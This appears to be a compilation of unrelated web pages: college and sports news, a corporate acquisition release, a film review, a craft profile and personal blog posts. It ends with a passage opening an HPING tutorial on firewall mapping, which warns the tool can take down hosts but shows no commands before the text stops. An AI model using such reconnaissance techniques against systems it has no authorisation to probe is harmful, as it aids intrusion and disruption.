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HANOVER, N.H. – If Dartmouth College freshman Mohammed Aftisse ends up making tons of friends and trying lots of new experiences in the next four years, he might owe it all to a giant sow named Randy.
Coming to Dartmouth from his home in New York City, Aftisse had no idea what he was getting into when he signed up to spend five days last week on a Vermont farm as part of the college's outdoor orientation program. But after tending chickens, cows and a litter of piglets birthed by the enormous Randy, he said the experience far exceeded his expectations about how much fun he'd have and how much he would get out of it. He initially was nervous about getting along with new people, but ended up convinced that making friends at Dartmouth would be a breeze.
"I don't think I could have chosen anything else to better prepare me," he said. "I totally stepped out of my comfort zone in choosing farm living, and it was so much fun. There was not one downside. So it definitely encouraged me to do that more often in terms of anything, like taking classes and just my time in college."
Since Dartmouth pioneered the concept in 1935, outdoor orientation programs have spread to colleges and universities across the country, grown in size and changed in scope. But the wilderness programs all share the same goal: to help freshmen adjust to college life even before they enter a classroom.
Unlike traditional orientation programs that focus on familiarizing students with institutional policies and campus layout, outdoor orientation programs tend to emphasize social interaction, team work and self-confidence.
Last year, Brent Bell, assistant professor of outdoor education at the University of New Hampshire, published the first-ever census of outdoor orientation programs at the nation's colleges. His research shows that more than 17,000 students from 164 colleges and universities attended outdoor orientation programs in 2006, typically backcountry trips led by upperclassmen before classes start.
An average of 10 new programs were added each year between 2000-2006. And while Bell is still researching how many have been added since then, he estimates the growth rate has doubled. As of Friday, he counted 200 programs, or 11 percent of the nation's four-year residential colleges and universities.
While most schools have stayed true to the outdoor adventure model, Bell says some have expanded their offerings to attract a broader group of people. For example, Colby College in Maine, which has one of the few mandatory outdoor orientation programs, offers trips focused on painting, "mindfulness and meditation," and photography, as well as backpacking, surfing and rock climbing. Accommodations can be made for students with disabilities.
Like Colby, student leaders in Dartmouth's programs have revamped the trips to make them more eco-friendly, said Dan Nelson, director of outdoor programs. And like Colby, Dartmouth has begun adding different types of trips, such as nature writing, yoga, and photography. This year, 97 percent of freshmen participated.
West Virginia University has gone a step further, offering trips tailored to specific majors, such as journalism and business. Participants visit people working in those fields and get a chance to build bonds with future classmates, said Greg Corio, who developed the school's outdoor orientation program in 2003.
From an initial enrollment of 14 students, the program now has grown to about 600 participants this year, he said. In addition to attending trips, students meet in classrooms throughout the fall and write essays about their experiences to earn college credit.
Corio said the program's value shows up in an analysis of how many students return to campus after their freshman year. For students who participate, the retention rate is about 87 percent, or 10 percentage points higher than the rate among non-participants, he said.
"We're seeing the impact on students," he said. "It makes a huge difference in having that community and sense of belonging to the institution."
In the last several years, Corio has noticed in the post-trip essays more references to life without cell phones. Like many schools, West Virginia doesn't allow cell phones or musical devices on the trips. Cut off from Facebook and text messages, students are reporting that they are making stronger and better friendships, he said.
Andrew Jillings, director of the 28-year-old outdoor orientation program at New York's Hamilton College, said he has faced a similar scenario. Students are no less physically fit than they were in the past, but there is a "separation issue" that comes with taking away the digital accessories.
"It's a bit of a shock for some students," he said. "I spend a lot of time with the leaders on how to get students to sit and literally look around at each other and have a conversation."
A main focus for Jillings has been hiring trip leaders who understand that their job is not to sprinkle a bit of orientation into a wilderness program but to give freshmen a solid introduction in a wilderness setting.
"I don't necessarily hire the most rugged, woodsy leaders," he said.
The programs generally charge students an extra fee, often about $50 per day, said Bell, who calculated the average charge in 2006 at $291. In the past, students at larger colleges applied for financial aid directly from the orientation program, but Bell said more schools are now providing financial support through their financial aid offices or are paying for the programs entirely.
Bell, who has studied the post-trip essays written by West Virginia students and others, said the mark of a successful program is an essay that goes beyond "it was fun" to "I changed as a person. I feel as close to these people as I do to my family."
"You'd think it would vary mainly by trip, but actually it seems to vary more by school, and I think it's varying by the curriculum they're using for these programs," he said.
Dartmouth senior Emily Unger, who directs the trips program, said the "extreme hiking" trip she went on as a freshman was the most fun she had ever had. But it wasn't the hiking that made it so great.
"The sense of community that gets built and the sense of welcoming from the upperclassmen just blew me away," she said. "I felt like I had been welcomed into a family and felt like I was in a new home."


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Tied to the Post: "Man-Made"
by Steve Simpson
When we first opened the trading post, I was constantly amazed by what our customers said and did.
If it wasn't the tourists, it was our Navajo patrons doing things that made me shake my head in wonder. Often, as I relived the day's events later that evening, I laughed out loud or mumbled to myself about the comedy or humanity of what had occurred that day.
Had anybody witnessed these evening episodes, I may have been subject to commitment in the big white house with large lawns and nicely-padded guest rooms.
In the early days, we did a small pawn business, so there were more elderly Navajo people in the store.
Pawn has, for many decades, been an important part of the trading post tradition. Many of the older Navajo people use it as a means of safeguarding their valuable possessions from marauding children or grandchildren, or to ensure access to small amounts of quick cash.
As our arts and crafts business grew, however, pawn became more and more complicated.
It wasn't that the revenue was bad; the problem was more practical than anything. Because pawning guns is a substantial part of the business, I began noticing the customers becoming more and more nervous as someone carrying a rifle climbed the stairs to the trading post.
For many of our patrons, the obvious conclusion was that an armed robbery was in progress and their lives were in danger.
When the customers realized they were not in harm's way, they became immensely curious and wanted to know what was happening.
As these events unfolded, their interest in rugs, baskets and jewelry quickly dissipated, and any possibility of a sale disappeared. So we finally decided pawn was no longer worth the effort and closed that part of our operation.
One disadvantage of ending our pawn business is that many older Navajo people stopped coming to see us. Initially, when we told them we were no longer pawning, they would wink and say, "Well, just for me, okay?" Eventually we stopped altogether and the grandmas and grandpas faded away.
The other day something happened that reminded me of the older Navajos we used to see all the time; people like Espee Jones, Wooeyboy's Son, Nellie Greyeyes and many more.
A Navajo woman was browsing through the shop inventory when she spotted the arrowheads we have in the display cases. This particular item is made by Homer Etherton, a man in his late eighties.
After I put the basket containing them on the counter, the woman picked up a few points, inspected them closely, and, admiring their craftsmanship, turned them over and over in her hand. After carefully scrutinizing them, she asked, "Are these man-made?"
The first time I heard that question, I was completely baffled, and almost blurted out, "Of course they are man-made. What else would they be?"
My long tenure in retail and the gentle demeanor of the man, however, told me I needed to be more cautious, so I asked, "What do you mean?"
The elderly Navajo gentleman quietly said, "Are they made by Horned Toad?"
At that point, I explained that the arrowheads were produced by Homer, which seemed to satisfy him, but left me with several burning questions.
Our cultural differences, and my desire to avoid looking overly foolish, stopped me from pursuing the matter further, so my inquisitor walked out the door without satisfying my curiosity.
Not long after that incident, a younger Navajo man came in, bought one of Homer's arrowheads, inhaled four times, patted his chest with the point and seemed to whisper a prayer. He then placed the item in a small leather bag that hung around his neck.
Since we were contemporaries, I felt comfortable asking him what it all meant. He explained that Navajo people believe horned toads chip arrowheads with their breath and that the points are protection against evil spirits.
The brief ceremony allowed him to breathe in the protective essence of the arrowhead before placing the talisman in his medicine bag.
He explained further that it is the "non-man-made" points; those from the ancient Puebloan culture, that are most powerful and offer the most protection from evil.
Unfortunately, incidents like those are more and more rare. Navajo culture is rapidly changing, and many of the old ways are no longer observed by the young people of the tribe.
A few days ago, a biologist for the state of Utah wandered into the store.
Her department is conducting a study of the local vegetation to determine how it compares to their baseline study from the 1970s.
She said their findings indicate that the more substantial bunch grasses like Indian rice grass and buffalo grass had, to a large extent, given way to cheat grass.
I could not help thinking this was very much like Navajo culture; the strong traditions are being replaced by television, backwards baseball caps and baggy pants. It makes one long for more "non man-made" items.
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subset: commoncrawl


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In case you had been following along in the seemingly monthly-ongoing talks between Verizon and Vodafone over Vodafone's 45% stake in Verizon Wireless, we thought you'd be interested to learn that they have reached an agreement, unanimously voted on by both boards. Verizon will acquire Vodafone's 45% stake in Verizon Wireless for roughly $130 billion, giving them 100% ownership of the "industry-leading wireless carrier."
And that's that. Will this affect you as a consumer? Only time will tell.
Transaction Provides Verizon with 100 Percent Ownership of Verizon Wireless NEW YORK – Verizon Communications Inc. (NYSE, Nasdaq: VZ) today announced that it has entered into a definitive agreement with Vodafone Group Plc (London, Nasdaq: VOD) to acquire Vodafone's U.S. group with the principal asset of 45 percent of Verizon Wireless for $130 billion, consisting primarily of cash and stock. Verizon expects the transaction at close to be immediately accretive to the company's EPS (earnings per share) by approximately 10 percent, without any one-time adjustments.
Enhances Ability to Provide Customers with Seamless and Integrated Services
Transaction Expected to be Immediately Accretive to Verizon's EPS
Verizon Board Authorizes 2.9 Percent Increase in Quarterly DividendThe transaction was unanimously approved by the boards of directors of Verizon and Vodafone, and is subject to customary closing conditions, including regulatory approvals and the approval of both companies' shareholders. The transaction is expected to close in the first quarter of 2014.
The transaction would provide Verizon with 100 percent ownership of the industry-leading wireless carrier in the United States. As a wholly owned entity, Verizon Wireless will be better equipped to take advantage of the changing competitive dynamics in the market and capitalize on the continuing evolution of consumer demand for wireless, video and broadband services.
Lowell McAdam, Verizon chairman and CEO, said: "Over the past 13 years, Verizon Wireless has been a key driver of our business strategy, and through our partnership with Vodafone, we have made Verizon Wireless into the premier wireless provider in the U.S. The capabilities to wirelessly stream video and broadband in 4G LTE complement our other assets in fiber, global IP and cloud. These assets position us for the rapidly increasing customer demand for video, machine to machine and big data. We are confident of further growth in wireless, and our business in its entirety."
McAdam continued: "This transaction will enhance value across platforms and allow Verizon to operate more efficiently, so we can continue to focus on producing more seamless and integrated products and solutions for our customers. We believe full ownership will provide increased opportunities in the enterprise and consumer wireline markets."
McAdam concluded: "Verizon Wireless is the greatest wireless company in the world, and a big part of this success was due to the hard work of both partners, Vodafone and Verizon. The timing was right to execute a transaction that benefits both companies and their shareholders. Today's announcement is a major milestone for Verizon, and we look forward to having full ownership of the industry leader in network performance, profitability and cash flow."
Vittorio Colao, Vodafone Group CEO, said: "This transaction allows both Vodafone and Verizon to execute on their long-term strategic objectives. Our two companies have had a long and successful partnership and have grown Verizon Wireless into a market leader with great momentum. We wish Lowell and the Verizon team continuing success over the years ahead."
Quarterly Dividend Increase
Demonstrating the importance of its dividend policy to deliver value for shareholders, Verizon also announced today that its Board of Directors has declared a quarterly dividend of 53 cents per outstanding share, an increase of 1.5 cents per share, or 2.9 percent, from the previous quarter. On an annual basis, this increases Verizon's dividend 6 cents per share, from $2.06 to $2.12 per share.
Financing and Approvals
The transaction consideration of $130 billion consists of a combination of cash, Verizon common stock and other items.
Verizon will pay Vodafone $58.9 billion in cash. To fund this portion of the consideration, Verizon has entered into a fully executed $61.0 billion Bridge Credit Agreement with J.P. Morgan Chase Bank, N.A., Morgan Stanley Senior Funding, Inc., Bank of America, N.A. and Barclays. Verizon intends to reduce the commitments under the Bridge Credit Agreement with the issuance of permanent financing. In addition, Verizon expects to maintain capital structure, balance sheet and financial policies consistent with investment-grade credit metrics, in part based on 100 percent access to Verizon Wireless' cash flow.
Verizon will also issue common stock currently valued at approximately $60.2 billion to be distributed to Vodafone shareholders, subject to a collar arrangement with a floor price of $47.00 and a cap price of $51.00 that will determine the maximum and minimum number of shares to be issued upon closing of the transaction. In addition, Verizon will issue $5.0 billion in notes payable to Vodafone, and Verizon will sell its 23.1 percent minority stake in Vodafone Omnitel N.V. to Vodafone for $3.5 billion. The remaining $2.5 billion of the transaction value will be a combination of other consideration.
Guggenheim Securities, LLC, J.P. Morgan Securities LLC, Morgan Stanley & Co. LLC and Paul J. Taubman served as lead financial advisors to Verizon, and J.P. Morgan Securities LLC and Morgan Stanley & Co. LLC also rendered fairness opinions in connection with the transaction. Barclays and BofA Merrill Lynch served as financial advisors to Verizon.Wachtell, Lipton, Rosen & Katz and Macfarlanes LLP are serving as transaction counsel to Verizon, and Debevoise & Plimpton LLP is advising Verizon on its debt financing.
Conference Call
Verizon executives will hold a conference call for investors and analysts to discuss further details of this transaction at 8 a.m. Eastern time tomorrow, September 3. There will also be a live webcast of the call on Verizon's Investor Relations website, www.verizon.com/investor, where presentation materials will be posted. Dial-in numbers are 888-455-3018 for domestic callers, and 773-799-3816 for international callers; the passcode is "VERIZON."
A replay of the webcast will be available within two hours after the call. The webcast will be accessible on Verizon's Investor Relations Web site, www.verizon.com/investor.


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SNOW HILL – Worcester County attorney Ed Hammond will retire at the end of January, with 33 years of service to Worcester County on his resume.
Hammond took up the county attorney post part-time in 1974 and resigned from his private law practice to work full-time for the county in 2002.
He had little thought of a career in public service while in law school at the University of Georgia and the University of Maryland, Hammond said this week.
"In law school, I was thinking about fulfilling my military obligation and coming back and living in Berlin," he said.
Hammond spent two years in the U.S. Army, ending his service as a First Lieutenant.
"I figured I could make a decent living as a lawyer," Hammond said of his career. As for working for the county, he said, "they offered me a job so I took it."
Called by some the "eighth County Commissioner" for his outspoken comments at public meetings, Hammond scoffed at the idea, saying that anyone who says that is misinformed.
"The county attorney represents the people of the county and as such to the county government," Hammond said. "The county attorney has to give them legal advice so what they do is legally done and gives them the legal authority to do it. … I've tried to steer them in the right direction."
Hammond recalled working for the Ocean City attorney at the time as a law student.
"I actually wrote the Ocean City charter," he said. "I did it one summer when I worked for Mr. Williams."
During that project, he came across a letter written by a city attorney in the 1920s or 1930s, he said, in which that attorney informed the City Council that the ordinance members had requested be written was "absolutely illegal."
Hammond took that to heart in his dealings with the Worcester County.
"That struck me 35 years ago. I was a law student then," he said. "I've been more strident about that whenever the commissioners wanted to do things unconstitutionally."
Hammond's successor, former Worcester County Commissioner and lawyer Sonny Bloxom, is a good choice, he said.
Bloxom will benefit from his many years as a county commissioner, Hammond said, adding. "It certainly gives him background. Obviously, it's going to affect his perspective."
Bloxom has 30 years of legal experience behind him. He graduated from the University of Maryland School of Law in 1976 and began private practice in 1977. He spent two years as an assistant state's attorney (1979 to 1980), 11 years as the Pocomoke City attorney (1979 to 1990), and a year as attorney for the Board of Education (1990).
Bloxom's tenure as a County Commissioner lasted 13 years, from 1990 to 1995, and then from 1998 to 2006. He has been out of public life since leaving office in 2006 after an unsuccessful campaign for a state delegate seat.
"He's certainly experienced," Hammond said of his successor.
At the moment, Hammond has few specific plans for his retirement.
"I have a lot of options but I'm really not sure," he said. "I'll probably spend more time at the Calvin B. Taylor Museum. I'll probably read some more. I'm very interested in World War II history."
When asked whether he plans to write a book about his experiences, Hammond said, "I'm not sure I'm capable of writing a book. I looked at [local attorney] Joe Moore's book and realized what a difficult job it was."
Although Hammond is heavily involved in Berlin's affairs as a private citizen, he said he does not think he will be so involved in county matters once he is retired and leaves his county work behind.
As for running for office himself, he said, "I'm old but I'm not crazy."


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Fennemore Craig, one of the largest law firms in the Southwest, announces 17 of its attorneys were named to the prominent Chambers USA 2013: America's Leading Lawyers for Business for 2013.
"The firm's reputation has been built on our attorney's continued commitment to excellence," states Tim Berg, managing partner of Fennemore Craig. "We are honored to be recognized by the prestigious Chambers USA, an esteemed legal resource."
Chambers USA is an annual ranking of law firms and attorneys comprising multiple practice areas. Fennemore Craig was also was recognized in band one, the highest ranking possible, for both Environment (including water rights) and Real Estate practice areas.
Fennemore Craig attorneys recognized by Chambers USA include:
Robert Anderson, Environment: Water Rights, Arizona
Lauren James Caster, Environment (including water rights), Arizona
Phillip F. Fargotstein, Environment (including water rights), Arizona
Andrew M. Federhar, Litigation: General Commercial, Arizona
Maggie Gallogly, Environment: Water Rights, Arizona
Donald R. Gilbert, Labor & Employment, Arizona
Gregg Hanks, Real Estate, Arizona
Norman D. James, Environment (including water rights), Arizona
Charles M. King, Real Estate, Arizona
Jay S. Kramer, Real Estate, Arizona
Erwin D. Kratz, Labor & Employment, Arizona
Douglas C. Northup, Litigation: General Commercial, Arizona
Michael Phalen, Real Estate: Zoning/Land Use, Arizona
Robert P. Robinson, Real Estate, Arizona
Ronald J. Stolkin, Labor & Employment, Arizona
Sarah A. Strunk, Corporate/M&A, Arizona
Susan M. Wissink, Corporate/M&A, Arizona


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One And Done: Stampede Swept Out Of Playoffs In 7-2 Loss To Waterloo
SIOUX FALLS, SD -- The Sioux Falls Stampede era at the Arena officially ended Thursday night as the Waterloo Black Hawks overwhelmed the Herd in a 7-2, Game 3 victory.
The loss before 3,551 fans completed the three-game sweep, eliminating Sioux Falls from the Clark Cup Playoffs.
Zeb Knutson and C.J. Franklin provided the offense for the Herd, who will move to the brand new Denny Sanford Premier Center this fall for the 2014-15 season. Waterloo used four power play scores on the night to seal the win and finished the best-of-five series with a 20-9 goal advantage over the Herd, who simply could not keep up with the red-hot Black Hawk offense.
"They're a great team," said Knutson, who spent two years with Stampede before heading to Minnesota State-Mankato this fall. "I won't be surprised if they contend for the Clark Cup. They just had everything going and they're on a hot streak right now."
Four straight goals by the Black Hawks opened the first period and dumped the Herd into a 4-0 hole with 4:15 to go before intermission. Hayden Shaw kicked off the scoring for Waterloo only 1:49 with a sharp angle wrister from the right side, giving the lethal Black Hawk offense a head start over a Herd club that came into the night with its back against the wall.
The 1-0 lead resulting from the goal ballooned to a 4-0 lead thanks to three consecutive power play scores from the Black Hawks, starting with a tally from Tyler Sheehy at 4:24.
A Knutson score finally stopped the bleeding with 2:37 to go in the first as the forward cut through two defenders and sank the puck through the five-hole of Waterloo netminder Cal Petersen, cutting the Waterloo lead to 4-1 heading to intermission.
"They (Waterloo) were on a roll, and we weren't able to stop that roll," said head coach Cary Eades. "It was a difficult night, but I was proud of the way the guys held their composure and battled through."
Waterloo winger Blake Winiecki gave the Hawks a four goal advantage with a power play wrist shot from the right circle at 11:51 of the second period, topping off a streak of four Black Hawk man advantage scores in a row. The power play contributed a significant impact to the score of the game after two periods, with the Black Hawks hitting pay dirt four times in eight attempts while the Herd went rewarded in three tries.
"It was not the recipe we wanted," said Eades. "We gave them far too many power plays and they made us pay."
Franklin slashed the lead to 5-2 a mere 14 seconds into the final period on a one-timer from the left side after pass from Keith Burchett, giving the Herd a glimpse of hope for a Game 3 rally. However, Waterloo winger Tim Lappin shot down any hope of a comeback with a score off the crossbar at 4:56 of the final period.
A second score by Lappin with 1:52 left only added salt to the wound, as tally clinched the 7-2 Waterloo Game 3 win over the Herd.
The Stampede will now look to start a new era of success at the Events Center after spending 15 seasons at the Arena, which fielded both an Anderson Cup and a Clark Cup champion in 2006 and 2007 respectively.
"Every time you come here there's a great atmosphere," said Eades. "The fans are into it and they're right on top of you. It served its purpose, but quite honestly from a hockey perspective the new building is much more suited to watching the game and experiencing a much better hockey game."
Courtesy: Sioux Falls Stampede


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A selection of old photographs of Ballinrobe and its community down the years.
We hope to expand this category over the next few months and would appreciate any copies of photographs that you would like included. Forward to firstname.lastname@example.com or bring into the local library where the originals will be scanned and returned to you within the week.
Large volumes may take a little longer, but, they will be returned safely.
Just click on an image to get larger version.
Occasionaly we will put up a mystery image or photograph where only a few names are known. It would be a great help if you could assist us in identifying the people or places that are not named.


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Well-Known Hunter
Hey all, here are a few pics of my recently re-painted mystery helmet. The only thing I have left to do is add padding on the inside to make it wearable. I'm still up in the air about whether I want to mist it with black and grey to dirty it up (didn't boba ever clean his stuff?) Also included in the photo album is my Jango helmet which started it's life as a fiberglass DP 95 recast.


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It's a crazy busy time at work from today, so I'll say my goodbyes until the end of the week. I have a large function on Wednesday night - a formal dinner for 60 of my lovely clients with a guest speaker (who's on a plane to Adelaide from Washington DC as I write this!). The big bosses are coming down from Sydney to observe how a dinner like this SHOULD be organized, so I trust they'll take copious notes! I've done lots of these nights over the years, but always get a little tetchy during the run-up. I'll be glad when the guest speaker is at the podium sans jet lag, I've done my presentation, the evening has run smoothly, everyone's happy, I've put the big bosses on the plane back to Sydney & my heart rate returns to normal. Hope your week is lovely in every way.
Image: Epicure


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Students create 3-D reconstruction of Big Shot
Chester F. Carlson Center for Imaging Science creates companion image
The Big Shot Wrap-up Party on May 1 celebrated the success of the Rochester Institute of Technology's 28th community photo project and the logistical feat of illuminating Cowboys Stadium in Arlington, Texas, on March 23, primarily with flashlights and camera flashes.
Carl Salvaggio, professor in the Chester F. Carlson Center for Imaging Science, and his doctoral students brought a new dimension to this year's Big Shot that they hope to extend to next year's project. Salvaggio and imaging science graduate students David Nilosek and Katie Salvaggio (no relation) produced a three-dimensional reconstruction of the Cowboys Stadium.
The reconstruction was a way for the Center for Imaging Science to participate in the RIT community tradition and to test an image processing technique called "structure from motion" under different conditions.
The technique is common to the field of computer vision and is applied, in this case, to teach computers to make choices when scanning an image. Algorithms match pixels between two photographs and build depth from otherwise flat images. The more connections made between pixels, the more robust the three-dimensional reconstruction.
"As you find things at different distances away from your camera, the distance that pixel moves from one frame to another can be translated back to how far away that object is from the camera itself," Carl Salvaggio says. "That's how you get depth perception."
Nilosek and Katie Salvaggio are alumni of the undergraduate imaging science program. Nilosek will receive his Ph.D. this year, and Katie Salvaggio, is finishing her third year. Their respective research uses powerful computers in the Center for Imaging Science to process hundreds of aerial images of buildings shot in daylight. Nilosek's research reconstructs structures and models their material components; Katie Salvaggio's work focuses on developing an accuracy measurement.
They encountered a different set of challenges in collecting data and reconstructing the Big Shot image of Cowboys Stadium. The exercise tested the algorithm's ability to process nighttime photography shot on the ground from only 48 different views.
The Big Shot team—led by RIT professors and coordinators Michael Peres, Dawn and Bill Dubois, and Willie Osterman from the School of Photographic Arts and Sciences—took an extended exposure of the stadium from a construction lift 40 feet in the air, while the imaging scientists orchestrated multiple shots on the ground. They arranged an ensemble of photography students outfitted with 12 donated Nikon cameras and Manfrotto tripods in various locations in the parking lot to take sets of simultaneous shots.
The imaging science team had a hunch that the stadium's glass shell would be problematic for the image processing algorithms. Their previous attempt to shoot Student Innovation Hall at night "failed miserably," Katie Salvaggio says, because the expanse of glass fooled the algorithms searching for matching pixels in the data. The trio took a gamble and flew to Texas two-and-a-half days ahead of the event to determine where to position the cameras.
"It was basically a lot of trial and error," Nilosek says. "We had to try all the configurations we could think of and pick what gave us the best looking results."
They considered different parameters—the distance between the cameras, the distance from the camera to the object, the number of positions of the camera, the physical position of the camera relative to the building, where the camera was pointed and how the stadium was framed.
"We took pictures, downloaded them and started processing them in the parking lot," Carl Salvaggio says. "When that didn't work, we took more pictures, downloaded them and processed them again."
The controlled lighting during the Big Shot illuminated the parking lot, so the light would reflect off the stadium.
"They illuminated the building straight up the side," Carl Salvaggio adds. "They lit parts that we couldn't see during the day. I think it turned out that we had more features to match at night than we did during the day, which is opposite of what we thought would have happened."
They downloaded PhotoScan, a Russian-produced commercialized software, to knit together the images of the stadium on Carl Salvaggio's laptop computer. The data had to be color corrected before being processed using the structure for motion software. Otherwise, the algorithms, which rely on color to find matches, would pass over pixels of the same object if shaded differently.
"We had 48 photos and one amazing biomed photo student—Ryan Harriman, the CIAS college delegate," Nilosek says. "We were all sitting in the Cowboy press room, and he color-balanced all the photos in about 10 minutes to get them ready to go."
The imaging science team waited 90 minutes for the software to process the images. Back at RIT, Nilosek created a video of the reconstruction, showing the image from different angles.
This year's Big Shot gave the Center for Imaging Science a chance to collaborate with the School of Photographic Arts and Sciences and to become part of an RIT tradition.
"We were able to walk into a group that had been doing this for a long time and they were supportive of us getting involved and excited about us trying something new," Carl Salvaggio says. "We would love to be part of the Big Shot in the future."


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Dirs: Joachim Roenning & Espen Sandberg. Norway-Denmark-UK. 2012. 118mins
Based on the true story of Norwegian explorer Thor Heyerdahl's perilous 1947 voyage from Peru to Polynesia on a raft, Kon-Tiki has its stirring moments but mostly resembles a Nordic variation on the typical award-seeking Hollywood biopic: earnest, stodgy, impressively mounted but a little too enamoured with its own importance to cut very deeply. Norwegian directors Joachim Roenning and Espen Sandberg deliver an old-fashioned adventure yarn that revels in its gorgeous photography, which turns out to be this muted drama's most memorable element.
There's a beautifully understated digression that links Heyerdahl's journey to those of modern-day explorers.
The film, which opened August 24 in Norway and broke local box office records, screens at the Toronto Film Festival, but its chances for international commercial success are far from assured. Kon-Tiki's rugged men-against-nature plot and widescreen visuals could help, but for territories unfamiliar with Heyerdahl, the movie's lack of marquee names could be a major detriment.
Kon-Tiki stars Pål Sverre Hagen as the plucky Heyerdahl, who became convinced that the accepted notion that Polynesia was settled by Asia is incorrect — it was instead, he insists, colonized by South American explorers. He cannot convince the scientific community of his theory, though, so he recruits a handful of men to join him on a journey across the Pacific Ocean on a handmade raft to duplicate the South Americans' initial expedition.
At first, Hagen plays Heyerdahl as an impossibly handsome, charismatic adventurer whose confidence is infectious, recalling Peter O'Toole's dashing turn as another enigmatic 20th century figure, T.E. Lawrence, in Lawrence Of Arabia. At the same time, though, Hagen hints at the uncertainty underneath Heyerdahl's brash exterior. (In truth, the explorer couldn't swim, and the actor implies that Heyerdahl's desperate compulsion to be proved right spurred his willingness to risk his and his crewmembers' lives.)
Unfortunately, despite cinematographer Geir Hartly Andreassen's striking photography — which contrasts the beautiful, vast oceans with the stark desperation of the men's quest — Kon-Tiki rarely resonates as strongly as the subject matter would suggest. From the beginning of the voyage, there's concern that the raft's logs aren't bound tight enough, which would lead to certain doom, but no matter the many daunting obstacles in Heyerdahl's path (including shark-infested waters and terrible storms), the filmmakers don't sufficiently dramatise the gruelling 100-day journey. Ideally, such a film would draw a parallel between the physical quest and Heyerdahl's emotional journey, but Kon-Tiki functions more as a brisk historical primer rather than as a complex psychological portrait.
Because Kon-Tiki doesn't do enough to examine the anguish and self-doubt inherent in such a dangerous, potentially foolhardy expedition, the film feels oddly anticlimactic once it reaches its triumphant ending. Roenning and Sandberg ably stage a few harrowing ocean sequences — and there's a beautifully understated digression that links Heyerdahl's journey to those of modern-day explorers — but the lingering sensation is that one has witnessed a prestige production in which every emotion and dramatic irony has been finely manicured, scrubbing away the messy (and fascinating) humanity that gives such moments their power.
Production companies: Nordisk Film Production, Recorded Picture Company, Aircontactgruppen, DCM Productions, Solbakken, Roenbergfilm, Motion Blur, Henrik Bergesen, Film 3, Film i Väst, Filmlance International, Norwegian Film Institute, Eurimages, Nordic Film and TV Fund, Malta Film Commission, Swedish Film Institute, Danish Film Institute, Media i2i
International sales: HanWay Films, www.hanwayfilms.com
Producers: Jeremy Thomas, Aage Aaberge
Executive producers: Lena Haugaard, Henrik Zein, Peter Watson, Johan Chr. Stenersen, Petter Skavlan, Dario Suter, Christoph Daniel, Marc Schmidheiny, Lone Korslund, Harald Zwart
Screenplay: Petter Skavlan
Cinematography: Geir Hartly Andreassen
Editor: Per-Erik Eriksen
Production designer: Karl Juliusson
Music: Johan Söderqvist
Website: www.facebook.com/kontikifilmen
Main cast: Pål Sverre Hagen, Anders Baasmo Christiansen, Jakob Oftebro, Tobias Santelmann, Odd-Magnus Williamson, Gustaf Skarsgård, Agnes Kittelsen


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15 Things is a new series on CRAFT that will feature amazing people, in their own words. The first artist to be profiled is Melissa Abercrombie of Blue Ribbon Salvage. She creates jewelry and sculptures using vintage treasures that she lovingly collects and curates.
One Act of Shameless Self Promotion
1: BlueRibbonSalvage.com This is where I share my work. I am constantly making new and unique pieces; each one-of-a-kind and carrying a narrative that is awaiting your arrival. Follow me on facebook and see where you can find Blue Ribbon Salvage next!
Two Mistakes You've Made in the Past
2: Bought a couple things under the false assumption that someone knew what they were selling and took it at face value. Make sure you know your materials and do your homework.
3: The biggest mistakes I've made I'd rather not write here. But here's a less painful one- I regret not buying two AMAZING Sutro bath swimsuits at an auction once, I kick myself every time I think about it.
Three Things That Make Your Work Unique
4: The variety of places from which I source my materials. From Eastern Europe to South America, to the Far East. I search far and wide to procure interesting and startling items.
5: A passion for retaining history and salvaging artifacts from obscurity.
6: Thoughtfulness. I try to find items specific to certain people. I really attempt to present things through a unique lens. I suppose that since we are all individuals it's just my slant on things that make them special.
Four Tools You Love to Use
7: My eyes. A large part of my craft is acquiring unique and unusual vintage pieces. These findings inspire whatever the piece will become. I rely on imagery, patina, age and repetition of form to derive the best new incarnation of these historic items.
8: My Macbook. Every time I find something new I need to begin researching where the piece came from and what it's significance is. Anyone whose ever been to my booth knows every piece comes with a story. Crafting the history of a piece to the best of my ability is definitely part of my creative process.
9: Scissors~ I have no less than 8 pairs at any given time and have "special" ones for "special" projects. Most of my tools are antiques and my scissors are no exception.
10: Curiosity, I don't leave home without it. Everyday I am lead on some Googling goose-chase, wandering about kooky Bay Area haunts, or on a scavenger hunt at the Sebastopol Flea Market. I like following my nose.
Five Inspirations
11: My Aunt Betty~ a school teacher/ artist taught every child in my family to conserve creatively. Every can lid became a Christmas ornament, even paper towels got a second, third use. She turned everything into something special and I value these early ideas of stewardship she instilled. (Just last weekend my family and a handy friend turned a 1930's enameled sign into a really functional television stand! )
12: Traveling. Being a poor backpacker early in my adult life has provided me with a sense of history and place, as well as a memory full of great adventures. Cesky Krumlov in the Czech Republic is a place I wander back to in daydreams every now and then.
13: My boys! They keep everything young and fresh. Just when I think I've seen everything, I'm reminded that I haven't seen everything from every direction!
14: Politics- I know it doesn't sound like a source of inspiration but it is a field I challenge myself to be involved in as a creative person. Artists and crafters are excellent problem solvers (generally) and there is great need for creative solutions in government.
15: Old schtuff. I love when good design is implemented in tools, accolades, furniture, clothes, advertising, games… it's really less about function to me and more about the design. I also LOVE the challenge to turn something antiquated into something functional.
2 thoughts on "15 Things About Melissa Abercrombie"
I just love Melissa's work. Her use of vintage materials in unconventional applications is inspiring. And more than that – her style is always right on.
I aspire to one day sport one of her necklaces, and plan to leave a Blue Ribbon Salvage card on my hubby's desk near Mother's day.
Sonoma County is lucky to have such an artist in our midst!
Comments are closed.
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I'd like to start by saying that I will be covering many of the basic functions along with examples and explanations why you would want to use the tool in each scenario. In addition, I will hit on several advanced features for those who are familiar with the tool but not to the point where advanced knowledge of the application is grasped. I will be borrowing verbage (in some cases) from the developer because I feel that the developer has worded things in such ways that I cannot improve upon. By no means is this a cut & paste tutorial but I would like to make everyone aware that I will be borrowing info where it makes sense. For those who have been around here for awhile, you know that I preface my tutorials with this advanced warning in the event that someone finds a sentence or two from the original man pages for the app.
Advanced Techniques: Tutorial IIII
This tutorial will go into advanced features that HPING offers. Note that *any* of the following information can be used to take down hosts and possibly destroy information if misused. Always practice on lab hosts. I assume no responsibility for damages of *any* kind that may result in the use/misuse of the following information. By continuing to read this tutorial, you agree to use the information at your own risk.
NOTE: Real word switches require a "double dash" instead of a single. Because I wrote this in word, they sometimes get fux0red when I paste in the content. Keep this in mind if an example doesn't work for you on the first try.
Firewall Mapping: Traceroute/Firewalk Style
HPING can be used much like traceroute or firewalk only you can use TCP, UDP or ICMP packets. Let's take a look at a TCP example…
NOTE: I have doctored the results heavily for example purposes.
